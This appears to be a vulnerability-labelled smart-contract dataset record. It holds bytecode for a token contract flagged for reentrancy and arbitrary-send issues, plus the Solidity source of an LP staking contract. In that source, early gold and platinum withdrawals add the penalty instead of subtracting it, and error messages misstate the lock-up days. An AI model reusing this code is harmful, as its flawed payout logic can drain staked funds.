00000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60026008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202f3d5832ad6f80e6eee00874a39cf8ee4b816144e98ecf772ad0ed5e6894afe364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,958 |
0x093c77e355467e26e10a49fa5669d16ca73beabd
|
/**
*Submitted for verification at Etherscan.io on 2021-09-02
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256){
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,"Calculation error");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256){
// Solidity only automatically asserts when dividing by 0
require(b > 0,"Calculation error");
uint256 c = a / b;
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256){
require(b <= a,"Calculation error");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256){
uint256 c = a + b;
require(c >= a,"Calculation error");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256){
require(b != 0,"Calculation error");
return a % b;
}
}
/**
* @title IToken
* @dev Contract interface for token contract
*/
contract IToken {
function name() public pure returns (string memory);
function symbol() public pure returns (string memory);
function decimals() public pure returns (uint8);
function totalSupply() public pure returns (uint256);
function balanceOf(address) public pure returns (uint256);
function allowance(address, address) public pure returns (uint256);
function transfer(address, uint256) public pure returns (bool);
function transferFrom(address, address, uint256) public pure returns (bool);
function approve(address , uint256) public pure returns (bool);
function burn(uint256) public pure;
function mint(uint256) public pure returns(bool);
}
/**
* @title CLIQWETHLPStaking
* @dev CLIQWETHLP Staking Contract for LP token staking
*/
contract CLIQWETHLPStaking {
using SafeMath for uint256;
address private _owner; // variable for Owner of the Contract.
uint256 private _withdrawTime; // variable to manage withdraw time for Token
uint256 constant public PERIOD_SILVER = 90; // variable constant for time period managemnt
uint256 constant public PERIOD_GOLD = 180; // variable constant for time period managemnt
uint256 constant public PERIOD_PLATINUM = 270; // variable constant for time period managemnt
uint256 constant public WITHDRAW_TIME_SILVER = 45 * 1 days; // variable constant to manage withdraw time lock up
uint256 constant public WITHDRAW_TIME_GOLD = 90 * 1 days; // variable constant to manage withdraw time lock up
uint256 constant public WITHDRAW_TIME_PLATINUM = 135 * 1 days; // variable constant to manage withdraw time lock up
uint256 public TOKEN_REWARD_PERCENT_SILVER = 21788328; // variable constant to manage token reward percentage for silver
uint256 public TOKEN_REWARD_PERCENT_GOLD = 67332005; // variable constant to manage token reward percentage for gold
uint256 public TOKEN_REWARD_PERCENT_PLATINUM = 178233538; // variable constant to manage token reward percentage for platinum
uint256 public TOKEN_PENALTY_PERCENT_SILVER = 10894164; // variable constant to manage token penalty percentage for silver
uint256 public TOKEN_PENALTY_PERCENT_GOLD = 23566201; // variable constant to manage token penalty percentage for gold
uint256 public TOKEN_PENALTY_PERCENT_PLATINUM = 44558384; // variable constant to manage token penalty percentage for platinum
// events to handle staking pause or unpause for token
event Paused();
event Unpaused();
/*
* ---------------------------------------------------------------------------------------------------------------------------
* Functions for owner.
* ---------------------------------------------------------------------------------------------------------------------------
*/
/**
* @dev get address of smart contract owner
* @return address of owner
*/
function getowner() public view returns (address) {
return _owner;
}
/**
* @dev modifier to check if the message sender is owner
*/
modifier onlyOwner() {
require(isOwner(),"You are not authenticate to make this transfer");
_;
}
/**
* @dev Internal function for modifier
*/
function isOwner() internal view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Transfer ownership of the smart contract. For owner only
* @return request status
*/
function transferOwnership(address newOwner) public onlyOwner returns (bool){
_owner = newOwner;
return true;
}
/*
* ---------------------------------------------------------------------------------------------------------------------------
* Functionality of Constructor and Interface
* ---------------------------------------------------------------------------------------------------------------------------
*/
// constructor to declare owner of the contract during time of deploy
constructor() public {
_owner = msg.sender;
}
// Interface declaration for contract
IToken icliq;
// function to set Contract Address for Token Transfer Functions
function setContractAddress(address tokenContractAddress) external onlyOwner returns(bool){
icliq = IToken(tokenContractAddress);
return true;
}
/*
* ----------------------------------------------------------------------------------------------------------------------------
* Owner functions of get value, set value and other Functionality
* ----------------------------------------------------------------------------------------------------------------------------
*/
// function to add token reward in contract
function addTokenReward(uint256 token) external onlyOwner returns(bool){
_ownerTokenAllowance = _ownerTokenAllowance.add(token);
icliq.transferFrom(msg.sender, address(this), token);
return true;
}
// function to withdraw added token reward in contract
function withdrawAddedTokenReward(uint256 token) external onlyOwner returns(bool){
require(token < _ownerTokenAllowance,"Value is not feasible, Please Try Again!!!");
_ownerTokenAllowance = _ownerTokenAllowance.sub(token);
icliq.transferFrom(address(this), msg.sender, token);
return true;
}
// function to get token reward in contract
function getTokenReward() public view returns(uint256){
return _ownerTokenAllowance;
}
// function to pause Token Staking
function pauseTokenStaking() public onlyOwner {
tokenPaused = true;
emit Paused();
}
// function to unpause Token Staking
function unpauseTokenStaking() public onlyOwner {
tokenPaused = false;
emit Unpaused();
}
// function to set reward percent
function setRewardPercent(uint256 silver, uint256 gold, uint256 platinum) external onlyOwner returns(bool){
require(silver != 0 && gold != 0 && platinum !=0,"Invalid Reward Value or Zero value, Please Try Again!!!");
TOKEN_REWARD_PERCENT_SILVER = silver;
TOKEN_REWARD_PERCENT_GOLD = gold;
TOKEN_REWARD_PERCENT_PLATINUM = platinum;
return true;
}
// function to set penalty percent
function setPenaltyPercent(uint256 silver, uint256 gold, uint256 platinum) external onlyOwner returns(bool){
require(silver != 0 && gold != 0 && platinum !=0,"Invalid Penalty Value or Zero value, Please Try Again!!!");
TOKEN_PENALTY_PERCENT_SILVER = silver;
TOKEN_PENALTY_PERCENT_GOLD = gold;
TOKEN_PENALTY_PERCENT_PLATINUM = platinum;
return true;
}
/*
* ----------------------------------------------------------------------------------------------------------------------------
* Variable, Mapping for Token Staking Functionality
* ----------------------------------------------------------------------------------------------------------------------------
*/
// mapping for users with id => address Staking Address
mapping (uint256 => address) private _tokenStakingAddress;
// mapping for users with address => id staking id
mapping (address => uint256[]) private _tokenStakingId;
// mapping for users with id => Staking Time
mapping (uint256 => uint256) private _tokenStakingStartTime;
// mapping for users with id => End Time
mapping (uint256 => uint256) private _tokenStakingEndTime;
// mapping for users with id => Tokens
mapping (uint256 => uint256) private _usersTokens;
// mapping for users with id => Status
mapping (uint256 => bool) private _TokenTransactionstatus;
// mapping to keep track of final withdraw value of staked token
mapping(uint256=>uint256) private _finalTokenStakeWithdraw;
// mapping to keep track total number of staking days
mapping(uint256=>uint256) private _tokenTotalDays;
// variable to keep count of Token Staking
uint256 private _tokenStakingCount = 0;
// variable to keep track on reward added by owner
uint256 private _ownerTokenAllowance = 0;
// variable for token time management
uint256 private _tokentime;
// variable for token staking pause and unpause mechanism
bool public tokenPaused = false;
// variable for total Token staked by user
uint256 public totalStakedToken = 0;
// variable for total stake token in contract
uint256 public totalTokenStakesInContract = 0;
// modifier to check the user for staking || Re-enterance Guard
modifier tokenStakeCheck(uint256 tokens, uint256 timePeriod){
require(tokens > 0, "Invalid Token Amount, Please Try Again!!! ");
require(timePeriod == PERIOD_SILVER || timePeriod == PERIOD_GOLD || timePeriod == PERIOD_PLATINUM, "Enter the Valid Time Period and Try Again !!!");
_;
}
/*
* ------------------------------------------------------------------------------------------------------------------------------
* Functions for Token Staking Functionality
* ------------------------------------------------------------------------------------------------------------------------------
*/
// function to performs staking for user tokens for a specific period of time
function stakeToken(uint256 tokens, uint256 time) public tokenStakeCheck(tokens, time) returns(bool){
require(tokenPaused == false, "Staking is Paused, Please try after staking get unpaused!!!");
_tokentime = now + (time * 1 days);
_tokenStakingCount = _tokenStakingCount +1;
_tokenTotalDays[_tokenStakingCount] = time;
_tokenStakingAddress[_tokenStakingCount] = msg.sender;
_tokenStakingId[msg.sender].push(_tokenStakingCount);
_tokenStakingEndTime[_tokenStakingCount] = _tokentime;
_tokenStakingStartTime[_tokenStakingCount] = now;
_usersTokens[_tokenStakingCount] = tokens;
_TokenTransactionstatus[_tokenStakingCount] = false;
_tokenStakingCount = _tokenStakingCount +1;
totalStakedToken = totalStakedToken.add(tokens);
totalTokenStakesInContract = totalTokenStakesInContract.add(tokens);
icliq.transferFrom(msg.sender, address(this), tokens);
return true;
}
// function to get staking count for token
function getTokenStakingCount() public view returns(uint256){
return _tokenStakingCount;
}
// function to get total Staked tokens
function getTotalStakedToken() public view returns(uint256){
return totalStakedToken;
}
// function to calculate reward for the message sender for token
function getTokenRewardDetailsByStakingId(uint256 id) public view returns(uint256){
if(_tokenTotalDays[id] == PERIOD_SILVER) {
return (_usersTokens[id]*TOKEN_REWARD_PERCENT_SILVER/100000000);
} else if(_tokenTotalDays[id] == PERIOD_GOLD) {
return (_usersTokens[id]*TOKEN_REWARD_PERCENT_GOLD/100000000);
} else if(_tokenTotalDays[id] == PERIOD_PLATINUM) {
return (_usersTokens[id]*TOKEN_REWARD_PERCENT_PLATINUM/100000000);
} else{
return 0;
}
}
// function to calculate penalty for the message sender for token
function getTokenPenaltyDetailByStakingId(uint256 id) public view returns(uint256){
if(_tokenStakingEndTime[id] > now){
if(_tokenTotalDays[id]==PERIOD_SILVER){
return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_SILVER/100000000);
} else if(_tokenTotalDays[id] == PERIOD_GOLD) {
return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_GOLD/100000000);
} else if(_tokenTotalDays[id] == PERIOD_PLATINUM) {
return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_PLATINUM/100000000);
} else {
return 0;
}
} else{
return 0;
}
}
// function for withdrawing staked tokens
function withdrawStakedTokens(uint256 stakingId) public returns(bool) {
require(_tokenStakingAddress[stakingId] == msg.sender,"No staked token found on this address and ID");
require(_TokenTransactionstatus[stakingId] != true,"Either tokens are already withdrawn or blocked by admin");
if(_tokenTotalDays[stakingId] == PERIOD_SILVER){
require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_SILVER, "Unable to Withdraw Staked token before 15 days of staking start time, Please Try Again Later!!!");
_TokenTransactionstatus[stakingId] = true;
if(now >= _tokenStakingEndTime[stakingId]){
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId));
icliq.transferFrom(address(this), msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
} else {
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId));
icliq.transferFrom(address(this), msg.sender,_usersTokens[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
}
} else if(_tokenTotalDays[stakingId] == PERIOD_GOLD){
require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_GOLD, "Unable to Withdraw Staked token before 30 days of staking start time, Please Try Again Later!!!");
_TokenTransactionstatus[stakingId] = true;
if(now >= _tokenStakingEndTime[stakingId]){
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId));
icliq.transferFrom(address(this), msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
} else {
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId));
icliq.transferFrom(address(this), msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
}
} else if(_tokenTotalDays[stakingId] == PERIOD_PLATINUM){
require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_PLATINUM, "Unable to Withdraw Staked token before 60 days of staking start time, Please Try Again Later!!!");
_TokenTransactionstatus[stakingId] = true;
if(now >= _tokenStakingEndTime[stakingId]){
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId));
icliq.transferFrom(address(this), msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
} else {
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId));
icliq.transferFrom(address(this), msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
}
} else {
return false;
}
return true;
}
// function to get Final Withdraw Staked value for token
function getFinalTokenStakeWithdraw(uint256 id) public view returns(uint256){
return _finalTokenStakeWithdraw[id];
}
// function to get total token stake in contract
function getTotalTokenStakesInContract() public view returns(uint256){
return totalTokenStakesInContract;
}
/*
* -------------------------------------------------------------------------------------------------------------------------------
* Get Functions for Stake Token Functionality
* -------------------------------------------------------------------------------------------------------------------------------
*/
// function to get Token Staking address by id
function getTokenStakingAddressById(uint256 id) external view returns (address){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenStakingAddress[id];
}
// function to get Token staking id by address
function getTokenStakingIdByAddress(address add) external view returns(uint256[]){
require(add != address(0),"Invalid Address, Pleae Try Again!!!");
return _tokenStakingId[add];
}
// function to get Token Staking Starting time by id
function getTokenStakingStartTimeById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenStakingStartTime[id];
}
// function to get Token Staking Ending time by id
function getTokenStakingEndTimeById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenStakingEndTime[id];
}
// function to get Token Staking Total Days by Id
function getTokenStakingTotalDaysById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenTotalDays[id];
}
// function to get Staking tokens by id
function getStakingTokenById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _usersTokens[id];
}
// function to get Token lockstatus by id
function getTokenLockStatus(uint256 id) external view returns(bool){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _TokenTransactionstatus[id];
}
}
|
0x6080604052600436106101ed5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663032f3b0981146101f25780630a57336a1461021c578063106c85d5146102485780632458eee9146102665780632841a1431461027b5780632b74c89d14610293578063332a35d2146102a85780633e4ffb16146102c0578063423eea07146102d5578063477bddaa146102ea57806350ff92a91461030b5780635248eede1461032057806354439ad0146103355780635673017a1461034d578063578b7e4d1461036557806360c2a3481461037a57806368cf8631146103925780636f37ac58146103a757806370c6bc77146103bc57806382e19c4b146103d157806384698190146103e65780638586ca00146103fd578063863997b21461041557806386c75e741461042d5780638cc15d4f146104425780638e49234414610457578063906459791461046c578063925672c1146104815780639d6c890d14610496578063b248c812146104ca578063b8c1fc33146104e2578063b9f7549b146104fa578063c26b2a951461056b578063cb6d8ee614610589578063e382c2a91461059e578063eff36c12146105b3578063f2fde38b146105c8578063fa8eb782146105e9578063fe0174bd146105fe578063ffab4bd914610613575b600080fd5b3480156101fe57600080fd5b5061020a60043561062e565b60408051918252519081900360200190f35b34801561022857600080fd5b506102346004356106a3565b604080519115158252519081900360200190f35b34801561025457600080fd5b50610234600435602435604435610cdb565b34801561027257600080fd5b5061020a610de4565b34801561028757600080fd5b50610234600435610deb565b34801561029f57600080fd5b5061020a610ef4565b3480156102b457600080fd5b5061020a600435610efa565b3480156102cc57600080fd5b5061020a610f6c565b3480156102e157600080fd5b5061020a610f72565b3480156102f657600080fd5b50610234600160a060020a0360043516610f78565b34801561031757600080fd5b5061020a61100c565b34801561032c57600080fd5b5061020a611012565b34801561034157600080fd5b5061020a600435611017565b34801561035957600080fd5b50610234600435611089565b34801561037157600080fd5b5061020a6110fe565b34801561038657600080fd5b5061020a600435611105565b34801561039e57600080fd5b5061020a611117565b3480156103b357600080fd5b5061020a61111d565b3480156103c857600080fd5b5061020a611123565b3480156103dd57600080fd5b5061020a611128565b3480156103f257600080fd5b506103fb61112e565b005b34801561040957600080fd5b5061020a6004356111c6565b34801561042157600080fd5b5061020a600435611280565b34801561043957600080fd5b50610234611320565b34801561044e57600080fd5b506103fb611329565b34801561046357600080fd5b5061020a6113be565b34801561047857600080fd5b5061020a6113c4565b34801561048d57600080fd5b5061020a6113ca565b3480156104a257600080fd5b506104ae6004356113d1565b60408051600160a060020a039092168252519081900360200190f35b3480156104d657600080fd5b5061020a60043561144c565b3480156104ee57600080fd5b506102346004356114be565b34801561050657600080fd5b5061051b600160a060020a0360043516611612565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561055757818101518382015260200161053f565b505050509050019250505060405180910390f35b34801561057757600080fd5b50610234600435602435604435611704565b34801561059557600080fd5b5061020a61180d565b3480156105aa57600080fd5b5061020a611813565b3480156105bf57600080fd5b5061020a611819565b3480156105d457600080fd5b50610234600160a060020a036004351661181f565b3480156105f557600080fd5b5061020a6118b3565b34801561060a57600080fd5b506104ae6118b9565b34801561061f57600080fd5b506102346004356024356118c8565b60115460009082111561068d576040805160e560020a62461bcd02815260206004820152603b6024820152600080516020611cb38339815191526044820152600080516020611cd3833981519152606482015290519081900360840190fd5b506000818152600b60205260409020545b919050565b600081815260096020526040812054600160a060020a03163314610737576040805160e560020a62461bcd02815260206004820152602c60248201527f4e6f207374616b656420746f6b656e20666f756e64206f6e207468697320616460448201527f647265737320616e642049440000000000000000000000000000000000000000606482015290519081900360840190fd5b6000828152600e602052604090205460ff161515600114156107c9576040805160e560020a62461bcd02815260206004820152603760248201527f45697468657220746f6b656e732061726520616c72656164792077697468647260448201527f61776e206f7220626c6f636b65642062792061646d696e000000000000000000606482015290519081900360840190fd5b600082815260106020526040902054605a1415610a80576000828152600b6020526040902054623b538001421015610897576040805160e560020a62461bcd02815260206004820152605f60248201527f556e61626c6520746f205769746864726177205374616b656420746f6b656e2060448201527f6265666f72652031352064617973206f66207374616b696e672073746172742060648201527f74696d652c20506c656173652054727920416761696e204c6174657221212100608482015290519081900360a4